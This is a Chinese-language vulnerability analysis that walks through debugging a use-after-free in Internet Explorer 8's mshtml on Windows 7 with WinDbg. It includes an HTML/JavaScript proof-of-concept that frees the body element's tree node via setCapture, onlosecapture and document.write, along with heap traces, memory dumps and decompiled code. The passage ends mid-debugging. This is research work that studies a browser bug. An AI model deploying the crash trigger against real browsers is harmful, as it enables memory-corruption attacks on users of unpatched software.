Author:wnagzihxa1n E-Mail:[email protected]
- 调试环境:Win7
- IE版本:8.0.7601.17514
载入Poc,使用WinDbg挂接,不做任何操作直接运行,断在如下位置
确保Poc能运行且WinDbg运行良好,我们来看Poc
<html>
<script>
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture = function(e) {
document.write("");
}
id_0["outerText"] = "";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
以下对于和我一样不懂IE浏览器如何构建DOM树以及相关知识的友好
保证了Poc能运行后,我们来结合Poc学习一下CTreeNode等相关知识,此处学习参考0x9A82师傅文章
接下来会通过代码介绍三个概念:CElement
,CTreeNode
和CTreePos
开启堆溢出检测
C:\Program Files\Internet Explorer>"C:\Program Files\Windows Kits\10\Debuggers\x
86\gflags.exe" -i iexplore.exe +hpa
首先创建两个元素对象,我们像如下这样创建出来的元素,统一继承自类CElement
,它存在于内存,但不存在于DOM树中,因为此时还没有进行appendChild
操作
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
进行appendChild
操作,此时DOM树上会多出两个节点,这两个节点互为兄弟节点,但都是<body>
的儿子节点,同时每一个元素会对应创建CTreeNode
和CTreePos
两个对象,CTreeNode
对象为DOM树上面的具体节点,CTreePos
对象用于表示所对应的CTreeNode
节点在DOM树上面的位置
document.body.appendChild(id_0);
document.body.appendChild(id_1);
小结:首先创建了两个元素对象,它们继承自类CElement
,当这两个对象通过appendChild
操作被加到DOM树之后,每一个元素就会对应再生成CTreeNode
和CTreePos
两个对象,CTreeNode
为DOM树上具体的节点对象,可以想象一棵果树,此时CTreeNode
对象表示具体的果子,而CTreePos
对象表示的是前面的果子在树上的具体位置,也就是说,CTreeNode
和CTreePos
是一一对应的
在将两个元素添加到DOM树后,将id_1
表示的对象转变为id_0
对象的子节点
id_1.applyElement(id_0);
到这里对于DOM树的操作就完成了,我们通过调试再来观察一遍整个过程,同时也观察一下每个对象的部分结构特点
常见打断点操作,三个位置轮着打Math.tan
,Math.sin
和Math.cos
,可以有个明显的顺序,也可以排除其它元素创建对我们分析的干扰
<html>
<script>
function trigger()
{
Math.tan(3,4);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
Math.sin(0);
document.body.appendChild(id_0);
document.body.appendChild(id_1);
Math.cos(0);
id_1.applyElement(id_0);
Math.tan(3,4);
id_0.onlosecapture = function(e) {
document.write("");
}
id_0["outerText"] = "";
Math.sin(0);
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
下好三个断点,运行后命中Math.tan
断下,开始正式的调试
0:013> bu jscript!sin
0:013> bu jscript!cos
0:013> bu jscript!tan
0:013> bl
1 e Disable Clear u 0001 (0001) (jscript!sin)
2 e Disable Clear u 0001 (0001) (jscript!cos)
3 e Disable Clear u 0001 (0001) (jscript!tan)
0:013> g
ModLoad: 67d00000 67db2000 C:\Windows\System32\jscript.dll
Breakpoint 3 hit
eax=00000000 ebx=0421c308 ecx=00000005 edx=00000003 esi=0421c2f8 edi=0421c2f8
eip=67d2d898 esp=0421c1f4 ebp=0421c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!tan:
67d2d898 ff258010d067 jmp dword ptr [jscript!_imp__tan (67d01080)] ds:0023:67d01080={msvcrt!tan (762fde34)}
我们给mshtml!CElement::CElement
下断点
0:005> bu mshtml!CElement::CElement
0:005> bl
0 e Disable Clear 665d9fd3 0001 (0001) 0:**** mshtml!CElement::CElement
1 e Disable Clear 67d2d6e9 0001 (0001) 0:**** jscript!sin
2 e Disable Clear 67d2d657 0001 (0001) 0:**** jscript!cos
3 e Disable Clear 67d2d898 0001 (0001) 0:**** jscript!tan
获取到两个对象的指针:0x077bcfd8
和0x078eafc8
0:005> g
Breakpoint 0 hit
eax=077bcfd8 ebx=66617be0 ecx=77bf5dd3 edx=00000000 esi=077bcfd8 edi=00000000
eip=665d9fd3 esp=0421bfe0 ebp=0421bff4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CElement::CElement:
665d9fd3 8bff mov edi,edi
0:005> g
Breakpoint 0 hit
eax=078eafc8 ebx=078eafc8 ecx=77bf5dd3 edx=00000000 esi=0421c050 edi=0421c050
eip=665d9fd3 esp=0421bfbc ebp=0421bfe0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CElement::CElement:
665d9fd3 8bff mov edi,edi
当运行到第二个断点时,第一个元素对象已经初始化完成,我们可以来观察它的部分内存结构,偏移为0x00
地址的内容为该元素的虚表指针
0:005> ln poi(077bcfd8)
Browse module
Set bu breakpoint
(664671b0) mshtml!CPhraseElement::`vftable' | (664673d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CPhraseElement::`vftable' = <no type information>
继续运行,命中断点Math.sin
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=0421c308 ecx=00000005 edx=00000003 esi=0421c2f8 edi=0421c2f8
eip=67d2d6e9 esp=0421c1f4 ebp=0421c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!sin:
67d2d6e9 ff256810d067 jmp dword ptr [jscript!_imp__sin (67d01068)] ds:0023:67d01068={msvcrt!sin (762f8aea)}
此时开始将两个对象添加到DOM树中,我们给CTreeNode::CTreeNode
下断点
0:005> bu mshtml!CTreeNode::CTreeNode
0:005> bl
0 e Disable Clear 665d9fd3 0001 (0001) 0:**** mshtml!CElement::CElement
1 e Disable Clear 67d2d6e9 0001 (0001) 0:**** jscript!sin
2 e Disable Clear 67d2d657 0001 (0001) 0:**** jscript!cos
3 e Disable Clear 67d2d898 0001 (0001) 0:**** jscript!tan
4 e Disable Clear 666247b9 0001 (0001) 0:**** mshtml!CTreeNode::CTreeNode
运行起来,两次命中断点
0:005> g
Breakpoint 4 hit
eax=078d4fb0 ebx=00000000 ecx=078d4fb0 edx=00000000 esi=0421c008 edi=077bcfd8
eip=666247b9 esp=0421bf3c ebp=0421bfd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
666247b9 8bff mov edi,edi
0:005> g
Breakpoint 4 hit
eax=078aafb0 ebx=00000000 ecx=078aafb0 edx=00000000 esi=0421c008 edi=078eafc8
eip=666247b9 esp=0421bf3c ebp=0421bfd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
666247b9 8bff mov edi,edi
为了完成CTreeNode
对象的创建,我们选择执行下去,直到命中Math.cos
断点
0:005> g
Breakpoint 2 hit
eax=00000000 ebx=0421c308 ecx=00000005 edx=00000003 esi=0421c2f8 edi=0421c2f8
eip=67d2d657 esp=0421c1f4 ebp=0421c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!cos:
67d2d657 ff259010d067 jmp dword ptr [jscript!_imp__cos (67d01090)] ds:0023:67d01090={msvcrt!cos (762f8ace)}
此时就可以开始观察CTreeNode
对象了,首先是id_0
,我们可以看到id_0
对应的CTreeNode
对象偏移0x00
的位置就是元素id_0
的指针
078d4fb0 d8 cf 7b 07 b0 7f 13 07 60 02 ff ff ff ff ff ff ..{.....`.......
078d4fc0 51 06 00 00 09 00 00 00 e0 2f 8d 07 c0 af 8a 07 Q......../......
078d4fd0 e0 2f 8d 07 d8 4f 8d 07 72 07 00 00 0a 00 00 00 ./...O..r.......
078d4fe0 c0 4f 8d 07 b8 2f cc 05 c0 4f 8d 07 c0 af 8a 07 .O.../...O......
078d4ff0 08 00 00 00 00 00 00 00 00 00 00 00 d0 d0 d0 d0 ................
我们可以来查看对应元素的虚表指针
0:005> ln poi(poi(0x078d4fb0))
Browse module
Set bu breakpoint
(664671b0) mshtml!CPhraseElement::`vftable' | (664673d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CPhraseElement::`vftable' = <no type information>
偏移0x04
的位置是父节点的CTreeNode
节点对象指针,对应的是<body>
节点
0:005> ln poi(poi(poi(0x078d4fb0+0x04)))
Browse module
Set bu breakpoint
(665a0c30) mshtml!CBodyElement::`vftable' | (664d8740) mshtml!CStackDataAry<unsigned char,128>::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
然后是id_1
,偏移0x00
指向的是自己对应的元素对象指针
078aafb0 c8 af 8e 07 b0 7f 13 07 75 02 ff ff ff ff ff ff ........u.......
078aafc0 61 00 00 00 00 00 00 00 e0 6f 8d 07 d8 4f 8d 07 a........o...O..
078aafd0 d8 4f 8d 07 d8 af 8a 07 72 00 00 00 00 00 00 00 .O......r.......
078aafe0 00 00 00 00 e0 8f 8d 07 c0 af 8a 07 e0 8f 8d 07 ................
078aaff0 08 00 00 00 00 00 00 00 00 00 00 00 d0 d0 d0 d0 ................
偏移0x04
指向的是父节点CTreeNode
节点对象指针
0:005> ln poi(poi(poi(0x078aafb0+0x04)))
Browse module
Set bu breakpoint
(665a0c30) mshtml!CBodyElement::`vftable' | (664d8740) mshtml!CStackDataAry<unsigned char,128>::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
此时代码已经走到了把id_1
转换为id_0
子节点的位置
id_1.applyElement(id_0);
运行起来,走到最后一个Math.tan
断点,期间还会断在CTreeNode::CTreeNode
一次
0:005> g
Breakpoint 3 hit
eax=00000000 ebx=0421c308 ecx=00000005 edx=00000003 esi=0421c2f8 edi=0421c2f8
eip=67d2d898 esp=0421c1f4 ebp=0421c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!tan:
67d2d898 ff258010d067 jmp dword ptr [jscript!_imp__tan (67d01080)] ds:0023:67d01080={msvcrt!tan (762fde34)}
此时已经完成了节点的位置转换,我们查看整个DOM树的结构,首先要看元素对象偏移0x14
的位置,这是对应的CTreeNode
节点在内存中的指针,经过转换后CTreeNode
节点指针发生了变化
id_0:0x077bcfd8 + 0x14 => 0x078cefb0
077bcfd8 b0 71 46 66 02 00 00 00 08 00 00 00 00 00 00 00 .qFf............
077bcfe8 00 8f ad 05 b0 ef 8c 07 60 00 00 00 00 02 01 80 ........`.......
077bcff8 02 00 00 00 30 2f cc 05 ?? ?? ?? ?? ?? ?? ?? ?? ....0/..????????
077bd008 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ????????????????
id_1:0x078eafc8 + 0x14 => 0x078aafb0
078eafc8 90 c5 56 66 02 00 00 00 08 00 00 00 e8 ef 8e 07 ..Vf............
078eafd8 d0 8e ad 05 b0 af 8a 07 75 00 00 00 00 02 01 80 ........u.......
078eafe8 02 00 00 00 30 2f cc 05 f4 cf 8e 07 00 00 00 00 ....0/..........
078eaff8 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ........????????
根据上面的偏移,找到对应的CTreeNode
节点对象,我们观察两者的父节点,可以观察到id_1
的父节点变成了id_0
id_0_CTreeNode:0x078cefb0
078cefb0 d8 cf 7b 07(b0 7f 13 07)60 02 02 00 01 00 03 00 ..{.....`.......
078cefc0 61 00 00 00 00 00 00 00 d8 af 8a 07 e0 2f 8d 07 a............/..
078cefd0 e0 2f 8d 07 c0 af 8a 07 62 00 00 00 00 00 00 00 ./......b.......
078cefe0 e0 8f 8d 07 d8 af 8a 07 d8 af 8a 07 e0 8f 8d 07 ................
078ceff0 08 00 00 00 00 00 00 00 00 00 00 00 d0 d0 d0 d0 ................
id_1_CTreeNode:0x078aafb0
078aafb0 c8 af 8e 07(b0 ef 8c 07)75 02 02 00 01 00 00 00 ........u.......
078aafc0 51 00 00 00 00 00 00 00 00 00 00 00 d8 ef 8c 07 Q...............
078aafd0 c0 ef 8c 07 d8 af 8a 07 62 01 00 00 01 00 00 00 ........b.......
078aafe0 c0 af 8a 07 c0 ef 8c 07 c0 af 8a 07 d8 ef 8c 07 ................
078aaff0 08 00 00 00 00 00 00 00 00 00 00 00 d0 d0 d0 d0 ................
我们通过命令行来观察
0:005> ln poi(poi(poi(0x078aafb0+0x04)))
Browse module
Set bu breakpoint
(664671b0) mshtml!CPhraseElement::`vftable' | (664673d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CPhraseElement::`vftable' = <no type information>
最后,当id_0
失去焦点时,清空整个页面
id_0.onlosecapture = function(e) {
document.write("");
}
那么关于DOM树的构建过程,我们到这里就分析完了,接下来的部分侧重漏洞细节
清空所有断点跑起来,异常堆访问
0:005> g
(3a0.bbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=07137fb0 ecx=06c67680 edx=0421bdf0 esi=00000000 edi=07137fb0
eip=66652b49 esp=0421c008 ebp=0421c010 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CDoc::HasContainerCapture+0x14:
66652b49 8b0f mov ecx,dword ptr [edi] ds:0023:07137fb0=????????
查看出错的地方,可以看到问题出在一个已经释放的堆上面,而这个堆地址,恰好是<body>
标签的CTreeNode
节点指针,所以我们可以猜测这里是<body>
元素发生了UAF
0:005> !heap -p -a 07137fb0
address 07137fb0 found in
_DPH_HEAP_ROOT @ 231000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
70c1c64: 7137000 2000
6a9890b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77c665f4 ntdll!RtlDebugFreeHeap+0x0000002f
77c2a0aa ntdll!RtlpFreeHeap+0x0000005d
77bf65a6 ntdll!RtlFreeHeap+0x00000142
7673bbe4 kernel32!HeapFree+0x00000014
6667fbf2 mshtml!CTreeNode::Release+0x0000002d
666807e0 mshtml!CMarkup::UnloadContents+0x00000380
66681f3c mshtml!CMarkup::TearDownMarkupHelper+0x00000055
66681ec3 mshtml!CMarkup::TearDownMarkup+0x00000055
6654ee78 mshtml!COmWindowProxy::SwitchMarkup+0x000005b8
664b3685 mshtml!CDocument::open+0x00000426
664b0ea1 mshtml!CDocument::write+0x0000007c
6656554e mshtml!Method_void_SAFEARRAYPVARIANTP+0x00000085
6668f10b mshtml!CBase::ContextInvokeEx+0x000005dc
6668ef72 mshtml!CBase::InvokeEx+0x00000025
6669b7fa mshtml!DispatchInvokeCollection+0x0000014c
6663f00c mshtml!CDocument::InvokeEx+0x000000f0
6663bc52 mshtml!CBase::VersionedInvokeEx+0x00000020
6663bc0e mshtml!PlainInvokeEx+0x000000eb
67d0a26e jscript!IDispatchExInvokeEx2+0x00000104
67d0a1b9 jscript!IDispatchExInvokeEx+0x0000006a
67d0a43a jscript!InvokeDispatchEx+0x00000098
67d0a4e4 jscript!VAR::InvokeByName+0x00000139
67d1d9a8 jscript!VAR::InvokeDispName+0x0000007d
67d1da4f jscript!VAR::InvokeByDispID+0x000000ce
67d1e4c7 jscript!CScriptRuntime::Run+0x00002b80
67d15d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
67d15cdb jscript!ScrFncObj::Call+0x0000008d
67d15ef1 jscript!CSession::Execute+0x0000015f
67d0f4c6 jscript!NameTbl::InvokeDef+0x000001b5
67d0eb02 jscript!NameTbl::InvokeEx+0x0000012c
666b3b0e mshtml!CBase::InvokeDispatchWithThis+0x000001e1
查看函数调用栈,可以看到我们需要下断点的几个函数
0:005> kvn
# ChildEBP RetAddr Args to Child
00 0421c010 666525ff 00000000 06c5fff0 06c67680 mshtml!CDoc::HasContainerCapture+0x14
01 0421c094 666db174 0421c0b8 00000000 00000000 mshtml!CDoc::PumpMessage+0x3f4
02 0421c150 667a025d 05d9aff0 00000001 06c5fff0 mshtml!CDoc::SetMouseCapture+0xe7
03 0421c178 664ab1c9 078eafc8 0000ffff 05b10fd0 mshtml!CElement::setCapture+0x51
04 0421c1a0 6668f10b 078eafc8 05b10fd0 03622fd8 mshtml!Method_void_oDoVARIANTBOOL+0xc5
05 0421c214 6669a6c6 078eafc8 80010410 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
06 0421c264 6669a706 078eafc8 80010410 00000001 mshtml!CElement::ContextInvokeEx+0x9d
07 0421c290 6663bc0e 078eafc8 80010410 00000001 mshtml!CElement::VersionedInvokeEx+0x2d
08 0421c2e4 67d0a26e 056d2fd8 80010410 00000001 mshtml!PlainInvokeEx+0xeb
09 0421c320 67d0a1b9 05ad0d10 80010410 00000409 jscript!IDispatchExInvokeEx2+0x104
0a 0421c35c 67d0a43a 05ad0d10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
0b 0421c41c 67d0a4e4 80010410 00000001 00000000 jscript!InvokeDispatchEx+0x98
我们来看剩下的三句代码,清空包含<sup></sup>
在内的标签,轮流设置id_0
和id_1
的焦点
id_0["outerText"] = "";
id_0.setCapture();
id_1.setCapture();
此处由于重新调试,所以对象指针发生了变化,先设置一下方便调试的断点
0:013> bu jscript!sin
0:013> bu jscript!cos
0:013> bu jscript!tan
0:013> bu mshtml!CElement::CElement ".echo 获取到对象指针;r eax;gc"
先运行起来,若干个DOM树节点创建,输出一些日志,断在Math.tan
后,开始创建我们的两个元素对象
0:013> g
获取到对象指针
eax=05b4efd8
获取到对象指针
eax=06b4dfd8
获取到对象指针
eax=07614fd8
获取到对象指针
eax=07602fd0
获取到对象指针
eax=07606f98
ModLoad: 675f0000 676a2000 C:\Windows\System32\jscript.dll
获取到对象指针
eax=0780efd0
Breakpoint 2 hit
eax=00000000 ebx=0410c2e8 ecx=00000005 edx=00000003 esi=0410c2d8 edi=0410c2d8
eip=6761d898 esp=0410c1f4 ebp=0410c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!tan:
6761d898 ff2580105f67 jmp dword ptr [jscript!_imp__tan (675f1080)] ds:0023:675f1080={msvcrt!tan (762fde34)}
再次运行,断在Math.sin
,可以获取到两个元素对象的指针:0x07799fd8
和0x0781efc8
0:005> g
获取到对象指针
eax=07799fd8
获取到对象指针
eax=0781efc8
Breakpoint 0 hit
eax=00000000 ebx=0410c2e8 ecx=00000005 edx=00000003 esi=0410c2d8 edi=0410c2d8
eip=6761d6e9 esp=0410c1f4 ebp=0410c230 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!sin:
6761d6e9 ff2568105f67 jmp dword ptr [jscript!_imp__sin (675f1068)] ds:0023:675f1068={msvcrt!sin (762f8aea)}
此时可以禁用掉mshtml!CElement::CElement
这个断点,后续会击中这里若干次,不过也可以不禁
持续的跑起来,断在最后一个Math.sin
断点,此时查看这两个元素的内存数据,可以看到各自的CTreeNode
指针没了
id_0
07799fd8 b0 71 46 66 01 00 00 00 10 00 00 00 e8 af ea 05 .qFf............
07799fe8 01 cf 9e 07(00 00 00 00)60 00 00 80 00 00 01 82 ........`.......
07799ff8 02 00 00 00 e8 ff 17 07 ?? ?? ?? ?? ?? ?? ?? ?? ........????????
id_1
0781efc8 90 c5 56 66 01 00 00 00 08 00 00 00 e8 2f 0a 05 ..Vf........./..
0781efd8 d0 ce 9e 07(00 00 00 00)75 00 00 80 00 00 01 80 ........u.......
0781efe8 02 00 00 00 e8 ff 17 07 f4 5f 5c 04 00 00 00 00 ........._\.....
结合之前我们看到的函数调用栈,设置如下几个断点
0:005> bu mshtml!CElement::setCapture+0x51
0:005> bu mshtml!CDoc::SetMouseCapture+0xe7
0:005> bu mshtml!CDoc::PumpMessage+0x3f4
0:005> bu mshtml!CDoc::HasContainerCapture+0x14
0:005> bl
0 e Disable Clear 6761d6e9 0001 (0001) 0:**** jscript!sin
1 e Disable Clear 6761d657 0001 (0001) 0:**** jscript!cos
2 e Disable Clear 6761d898 0001 (0001) 0:**** jscript!tan
3 d Enable Clear 665d9fd3 0001 (0001) 0:**** mshtml!CElement::CElement ".echo 获取到对象指针;r eax;gc"
4 e Disable Clear 667a025d 0001 (0001) 0:**** mshtml!CElement::setCapture+0x51
5 e Disable Clear 66653f41 0001 (0001) 0:**** mshtml!CServer::RemoveUI
6 e Disable Clear 66652842 0001 (0001) 0:**** mshtml!CDoc::PumpMessage+0xa9e
7 e Disable Clear 66652b49 0001 (0001) 0:**** mshtml!CDoc::HasContainerCapture+0x14
结合IDA的反汇编代码,它会调用CDoc::SetMouseCapture
int __stdcall CElement::setCapture(CElement *this, __int16 a2)
{
struct CDoc *v2; // eax
CBase *v3; // ecx
v2 = CElement::Doc(this);
if ( v2 )
{
v3 = (*(v2 + 25) << 28);
if ( v3 >= 0x30000000 && !(*(v2 + 469) & 0x1000) )
CDoc::SetMouseCapture(this, (a2 == -1), v2, a2 == -1, 0, 0, CElement::HandleCaptureMessage, 0);
}
return CBase::SetErrorInfo(v3, 0);
}
跟入,先判断之前是否有焦点的存在,所以第一次id_0.setCapture()
的时候,走的是else
,也就是没有焦点
v14 = CDoc::GetLastCapture(v8);
if (v14 && (v15 = *(v9 + 20), CDoc::HasContainerCapture(v8, v23)))
{
CMessage::CMessage(&v24, 0);
v24.message = 533;
CDoc::PumpMessage(v8, &v24, 0, 0);
if (v14 == CDoc::GetLastCapture(v8))
{
v17 = *(v14 + 3);
if (!(v17 & 2))
{
v16 = *(v14 + 2);
if (!(*(v16 + 7) & 0x8000000))
{
*(v14 + 3) = v17 | 2;
*(v8 + 469) |= 0x1000u;
CElement::FireEvent(*(v14 + 2), &s_propdescCElementonlosecapture, 1, 0, -1, 0, 0);
*(v8 + 469) &= 0xFFFFEFFF;
}
}
}
if (*(v8 + 65) & 0xFFFFFFFC)
{
if (v14 == CDoc::GetLastCapture(v8))
{
CElementCapture::~CElementCapture(v20);
CBlockElement::operator delete(v14);
CImplPtrAry::Delete(v21, v23);
}
CImplPtrAry::Append(v20, v23);
}
else
{
CElementCapture::~CElementCapture(v16);
CBlockElement::operator delete(lpMema);
v19 = v18;
}
CMessage::~CMessage(v19);
}
else
{
CImplPtrAry::Append(v13, v23);
if (!v14)
CServer::SetCapture(v22, v8, 1);
}
当执行id_1.setCapture()
时,会进入if
分支,此时结合之前的崩溃函数调用栈,要先进入到CDoc::PumpMessage()
,先在入口下个断点
bu mshtml!CDoc::PumpMessage
击中后的调试信息如下
0:005> g
Breakpoint 8 hit
eax=041ac0b8 ebx=05943680 ecx=05943680 edx=00000002 esi=07d40ff0 edi=00000000
eip=6350244e esp=041ac098 ebp=041ac150 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::PumpMessage:
6350244e 8bff mov edi,edi
我们单步走下去,发现跑飞了,所以继续修改Poc,重新打断点看流程
<html>
<script>
function trigger()
{
Math.sin(0);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture = function(e) {
Math.cos(0);
document.write("");
Math.cos(0);
}
id_0["outerText"] = "";
Math.sin(0);
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
此时的断点
0:013> bl
0 e Disable Clear u 0001 (0001) (jscript!sin)
1 e Disable Clear u 0001 (0001) (jscript!cos)
2 e Disable Clear u 0001 (0001) (jscript!tan)
3 e Disable Clear 63489fd3 0001 (0001) 0:**** mshtml!CElement::CElement ".echo 获取到对象指针;r eax;gc"
4 d Enable Clear 6350244e 0001 (0001) 0:**** mshtml!CDoc::PumpMessage
跑起来,两次断下,下面为第一次
0:013> g
获取到对象指针
eax=06d66fd8
获取到对象指针
eax=08266fd8
获取到对象指针
eax=07597fd8
获取到对象指针
eax=05996fd0
获取到对象指针
eax=0593ef98
ModLoad: 67e40000 67ef2000 C:\Windows\System32\jscript.dll
获取到对象指针
eax=077d6fd0
Breakpoint 0 hit
eax=00000000 ebx=0432c820 ecx=00000005 edx=00000003 esi=0432c810 edi=0432c810
eip=67e6d6e9 esp=0432c6f4 ebp=0432c730 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!sin:
67e6d6e9 ff256810e467 jmp dword ptr [jscript!_imp__sin (67e41068)] ds:0023:67e41068={msvcrt!sin (762f8aea)}
到达第二个Math.sin
,获取到当前的两个元素对象指针,开启断点mshtml!CDoc::PumpMessage
,
0:005> g
获取到对象指针
eax=07e10fd8
获取到对象指针
eax=07df2fc8
Breakpoint 0 hit
eax=00000000 ebx=0432c820 ecx=00000005 edx=00000003 esi=0432c810 edi=0432c810
eip=67e6d6e9 esp=0432c6f4 ebp=0432c730 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!sin:
67e6d6e9 ff256810e467 jmp dword ptr [jscript!_imp__sin (67e41068)] ds:0023:67e41068={msvcrt!sin (762f8aea)}
0:005> be 4
0:005> bl
0 e Disable Clear 67e6d6e9 0001 (0001) 0:**** jscript!sin
1 e Disable Clear 67e6d657 0001 (0001) 0:**** jscript!cos
2 e Disable Clear 67e6d898 0001 (0001) 0:**** jscript!tan
3 e Disable Clear 63489fd3 0001 (0001) 0:**** mshtml!CElement::CElement ".echo 获取到对象指针;r eax;gc"
4 e Disable Clear 6350244e 0001 (0001) 0:**** mshtml!CDoc::PumpMessage
下好断点后,再次运行,击中断点mshtml!CDoc::PumpMessage
0:005> g
Breakpoint 4 hit
eax=0432c5d0 ebx=05437680 ecx=05437680 edx=00000000 esi=08232ff0 edi=00000000
eip=6350244e esp=0432c5b0 ebp=0432c668 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::PumpMessage:
6350244e 8bff mov edi,edi
单步走下去,走到mshtml!CDoc::ReleaseDetachedCaptures
,下个断点,接下来这里一定会多次调试的,我们查看eax
寄存器的值,为<body>
元素的CTreeNode
节点指针
0:005>
eax=0829bfb0 ebx=0829bfb0 ecx=08228fe0 edx=00000000 esi=0432c5d0 edi=05437680
eip=635025e8 esp=0432c52c ebp=0432c5ac iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDoc::PumpMessage+0x3dd:
635025e8 e8bafdffff call mshtml!CDoc::ReleaseDetachedCaptures (635023a7)
0:005> bu mshtml!CDoc::ReleaseDetachedCaptures
0:005> ln poi(poi(eax))
Browse module
Set bu breakpoint
(63450c30) mshtml!CBodyElement::`vftable' | (63388740) mshtml!CStackDataAry<unsigned char,128>::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
因为我们下了断点,此时单步即可进入该函数,一直单步往下走,直到如下位置
0:005>
eax=05437680 ebx=0829bfb0 ecx=00000000 edx=00000000 esi=07e10fd8 edi=00000001
eip=6358b3b9 esp=0432c4fc ebp=0432c524 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::ReleaseDetachedCaptures+0x34:
6358b3b9 50 push eax
0:005>
eax=05437680 ebx=0829bfb0 ecx=00000000 edx=00000000 esi=07e10fd8 edi=00000001
eip=6358b3ba esp=0432c4f8 ebp=0432c524 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::ReleaseDetachedCaptures+0x35:
6358b3ba 33c0 xor eax,eax
0:005>
eax=00000000 ebx=0829bfb0 ecx=00000000 edx=00000000 esi=07e10fd8 edi=00000001
eip=6358b3bc esp=0432c4f8 ebp=0432c524 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::ReleaseDetachedCaptures+0x37:
6358b3bc e8998af7ff call mshtml!CDoc::SetMouseCapture (63503e5a)
此时因为传入的是空的参数,所以调用了else
else
{
CDoc::ClearMouseCapture(a2, lpMem);
}
再下个断点
bu mshtml!CDoc::ClearMouseCapture
接着运行,断在mshtml!CDoc::ClearMouseCapture
0:005> g
Breakpoint 5 hit
eax=00000000 ebx=05437680 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=63503bb4 esp=0432c43c ebp=0432c4f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDoc::ClearMouseCapture:
63503bb4 8bff mov edi,edi
单步走下去,看到如下一段代码,看来和之前设置失去焦点相关的代码有关
6358b2d3 33c0 xor eax,eax
6358b2d5 50 push eax
6358b2d6 50 push eax
6358b2d7 6aff push 0FFFFFFFFh
6358b2d9 50 push eax
6358b2da 6a01 push 1
6358b2dc 68a49b4d63 push offset mshtml!s_propdescCElementonlosecapture (634d9ba4)
6358b2e1 8bce mov ecx,esi
6358b2e3 e8c536f5ff call mshtml!CElement::FireEvent (634de9ad)
我们尝试单步步过最后一句调用call mshtml!CElement::FireEvent (634de9ad)
,却发现直接断在了Math.cos
0:005>
Breakpoint 1 hit
eax=00000000 ebx=0432b940 ecx=00000005 edx=00000003 esi=0432b930 edi=0432b930
eip=67e6d657 esp=0432b834 ebp=0432b870 iopl=0 nv up ei pl nz ac po nc
